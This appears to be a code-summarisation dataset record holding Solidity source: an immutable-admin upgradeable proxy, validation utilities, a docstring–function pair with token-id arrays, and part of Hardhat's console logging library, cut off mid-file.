struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.13;
uint32 constant PPM_RESOLUTION = 1000000;
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.13;
import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import { AccessDenied, Utils } from "./Utils.sol";
/**
* @dev this contract is a slightly optimized version of the original TransparentUpgradeableProxy solely designed to
* work with the ProxyAdmin contract:
*
* - the address of the admin is stored as an immutable state variables and as the result:
* - the address of the admin can't be change, so the changeAdmin() function was subsequently removed
*/
contract TransparentUpgradeableProxyImmutable is ERC1967Proxy, Utils {
address internal immutable _admin;
/**
* @dev initializes an upgradeable proxy managed by `initAdmin`, backed by the implementation at `logic`, and
* optionally initialized with `data` as explained in {ERC1967Proxy-constructor}
*/
constructor(
address logic,
address initAdmin,
bytes memory data
) payable ERC1967Proxy(logic, data) validAddress(initAdmin) {
_admin = initAdmin;
// still store it to work with EIP-1967
_changeAdmin(initAdmin);
}
modifier ifAdmin() {
if (msg.sender == _admin) {
_;
} else {
_fallback();
}
}
/**
* @dev returns the current admin
*
* requirements:
*
* - the caller must be the admin of the contract
*/
function admin() external ifAdmin returns (address) {
return _admin;
}
/**
* @dev returns the current implementation.
*
* requirements:
*
* - the caller must be the admin of the contract
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev upgrades the implementation of the proxy
*
* requirements:
*
* - the caller must be the admin of the contract
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeToAndCall(newImplementation, bytes(""), false);
}
/**
* @dev upgrade the implementation of the proxy, and then call a function from the new implementation as specified
* by data, which should be an encoded function call. This is useful to initialize new storage variables in the
* proxied contract
*
* requirements:
*
* - the caller must be the admin of the contract
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin {
_upgradeToAndCall(newImplementation, data, true);
}
/**
* @dev makes sure the admin cannot access the fallback function
*/
function _beforeFallback() internal virtual override {
if (msg.sender == _admin) {
revert AccessDenied();
}
super._beforeFallback();
}
}
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.13;
import { PPM_RESOLUTION } from "./Constants.sol";
error AccessDenied();
error AlreadyExists();
error DoesNotExist();
error InvalidAddress();
error InvalidExternalAddress();
error InvalidFee();
error InvalidPool();
error InvalidPoolCollection();
error InvalidStakedBalance();
error InvalidToken();
error InvalidType();
error InvalidParam();
error NotEmpty();
error NotPayable();
error ZeroValue();
/**
* @dev common utilities
*/
contract Utils {
// allows execution by the caller only
modifier only(address caller) {
_only(caller);
_;
}
function _only(address caller) internal view {
if (msg.sender != caller) {
revert AccessDenied();
}
}
// verifies that a value is greater than zero
modifier greaterThanZero(uint256 value) {
_greaterThanZero(value);
_;
}
// error message binary size optimization
function _greaterThanZero(uint256 value) internal pure {
if (value == 0) {
revert ZeroValue();
}
}
// validates an address - currently only checks that it isn't null
modifier validAddress(address addr) {
_validAddress(addr);
_;
}
// error message binary size optimization
function _validAddress(address addr) internal pure {
if (addr == address(0)) {
revert InvalidAddress();
}
}
// validates an external address - currently only checks that it isn't null or this
modifier validExternalAddress(address addr) {
_validExternalAddress(addr);
_;
}
// error message binary size optimization
function _validExternalAddress(address addr) internal view {
if (addr == address(0) || addr == address(this)) {
revert InvalidExternalAddress();
}
}
// ensures that the fee is valid
modifier validFee(uint32 fee) {
_validFee(fee);
_;
}
// error message binary size optimization
function _validFee(uint32 fee) internal pure {
if (fee > PPM_RESOLUTION) {
revert InvalidFee();
}
}
} | * @dev returns the current implementation. requirements: - the caller must be the admin of the contract/ | function implementation() external ifAdmin returns (address) {
return _implementation();
}
| 285,252 | [
1,
6154,
326,
783,
4471,
18,
8433,
30,
300,
326,
4894,
1297,
506,
326,
3981,
434,
326,
6835,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
4471,
1435,
3903,
309,
4446,
1135,
261,
2867,
13,
288,
203,
3639,
327,
389,
30810,
5621,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// Sources flattened with hardhat v2.6.8 https://hardhat.org
// File hardhat/[email protected]
pragma solidity >= 0.4.22 <0.9.0;
library console {
address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67);
function _sendLogPayload(bytes memory payload) private view {
uint256 payloadLength = payload.length;
address consoleAddress = CONSOLE_ADDRESS;
assembly {
let payloadStart := add(payload, 32)
let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0)
}
}
function log() internal view {
_sendLogPayload(abi.encodeWithSignature("log()"));
}
function logInt(int p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(int)", p0));
}
function logUint(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function logString(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function logBool(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function logAddress(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function logBytes(bytes memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes)", p0));
}
function logBytes1(bytes1 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0));
}
function logBytes2(bytes2 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0));
}
function logBytes3(bytes3 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0));
}
function logBytes4(bytes4 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0));
}
function logBytes5(bytes5 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0));
}
function logBytes6(bytes6 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0));
}
function logBytes7(bytes7 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0));
}
function logBytes8(bytes8 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0));
}
function logBytes9(bytes9 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0));
}
function logBytes10(bytes10 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0));
}
function logBytes11(bytes11 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0));
}
function logBytes12(bytes12 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0));
}
function logBytes13(bytes13 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0));
}
function logBytes14(bytes14 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0));
}
function logBytes15(bytes15 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0));
}
function logBytes16(bytes16 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0));
}
function logBytes17(bytes17 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0));
}
function logBytes18(bytes18 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0));
}
function logBytes19(bytes19 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0));
}
function logBytes20(bytes20 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0));
}
function logBytes21(bytes21 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0));
}
function logBytes22(bytes22 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0));
}
function logBytes23(bytes23 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0));
}
function logBytes24(bytes24 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0));
}
function logBytes25(bytes25 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0));
}
function logBytes26(bytes26 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0));
}
function logBytes27(bytes27 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0));
}
function logBytes28(bytes28 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0));
}
function logBytes29(bytes29 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0));
}
function logBytes30(bytes30 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0));
}
function logBytes31(bytes31 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0));
}
function logBytes32(bytes32 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0));
}
function log(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function log(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function log(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function log(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function log(uint p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1));
}
function log(uint p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1));
}
function log(uint p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1));
}
function log(uint p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1));
}
function log(string memory p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1));
}
function log(string memory p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1));
}
function log(string memory p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1));
}
function log(string memory p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1));
}
function log(bool p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1));
}
function log(bool p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1));
}
function log(bool p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1));
}
function log(bool p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1));
}
function log(address p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1));
}
function log(address p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1));
}
function log(address p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1));
}
function log(address p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1));
}
function log(uint p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2));
}
function log(uint p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2));
}
function log(uint p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2));
}
function log(uint p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2));
}
function log(uint p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2));
}
function log(uint p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2));
}
function log(uint p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2));
}
function log(uint p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2));
}
function log(uint p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2));
}
function log(uint p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2));
}
function log(uint p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2));
}
function log(uint p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2));
}
function log(uint p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2));
}
function log(uint p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2));
}
function log(uint p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2));
}
function log(uint p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2));
}
function log(string memory p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2));
}
function log(string memory p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2));
}
function log(string memory p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2));
}
function log(string memory p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2));
}
function log(string memory p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2));
}
function log(string memory p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2));
}
function log(string memory p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2));
}
function log(string memory p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2));
}
function log(string memory p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2));
}
function log(string memory p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2));
}
function log(string memory p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2));
}
function log(string memory p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2));
}
function log(string memory p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2));
}
function log(string memory p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2));
}
function log(string memory p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2));
}
function log(string memory p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2));
}
function log(bool p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2));
}
function log(bool p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2));
}
function log(bool p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2));
}
function log(bool p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2));
}
function log(bool p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2));
}
function log(bool p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2));
}
function log(bool p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2));
}
function log(bool p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2));
}
function log(bool p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2));
}
function log(bool p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2));
}
function log(bool p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2));
}
function log(bool p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2));
}
function log(bool p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2));
}
function log(bool p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2));
}
function log(bool p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2));
}
function log(bool p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2));
}
function log(address p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2));
}
function log(address p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2));
}
function log(address p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2));
}
function log(address p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2));
}
function log(address p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2));
}
function log(address p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2));
}
function log(address p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2));
}
function log(address p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2));
}
function log(address p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2));
}
function log(address p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2));
}
function log(address p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2));
}
function log(address p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2));
}
function log(address p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2));
}
function log(address p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2));
}
function log(address p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2));
}
function log(address p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2));
}
function log(uint p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3));
}
